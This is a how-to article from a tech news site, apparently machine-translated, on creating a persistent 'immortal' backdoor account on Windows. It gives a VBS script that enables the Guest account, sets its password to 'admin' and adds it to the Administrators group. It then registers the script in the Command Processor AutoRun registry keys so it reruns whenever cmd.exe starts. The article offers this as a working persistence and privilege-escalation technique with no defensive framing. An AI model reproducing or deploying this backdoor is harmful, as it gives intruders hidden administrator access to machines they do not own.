Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to use vbs to realize immortal account

2025-01-17 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >

Share

Shulou(Shulou.com)06/03 Report--

Xiaobian to share with you how to use vbs to achieve immortal accounts, I believe most people still do not know how to share this article for your reference, I hope you have a lot of harvest after reading this article, let's go to understand it together!

First, create a VBS file with the following contents:

dim wsh

set wsh=CreateObject("WScript.Shell")

wsh.run "net user guest /active:yes",0

wsh.run "net user guest admin",0

wsh.run "net localgroup administrators guest /add",0

The above paragraph of VBS means to activate the GUEST account and add it to the senior management group. Set the password to admin.

Then why not use that BAT, continue to look down to know, and then find the following key in the registry:

HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun

and/or

HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun

Enter the VBS path in the AutoRun key! For example: d:/ao/fj126.net/id.vbs

Let's look at these two locations:

If/D is not specified on the command line, CMD.EXE automatically looks for the following REG_SZ/REG_EXPAND_SZ registry variable when it runs. If one or both of them exist, both variables are executed first.

That is to say, as long as CMD is started, the above script will run, which can be said to be CMD association.

Then go to the registry and find the location above.

OK, let's experiment.

Let's turn CMD on again.

The above is "how to use vbs to achieve immortal account" all the contents of this article, thank you for reading! I believe that everyone has a certain understanding, hope to share the content to help everyone, if you still want to learn more knowledge, welcome to pay attention to the industry information channel!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Development

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report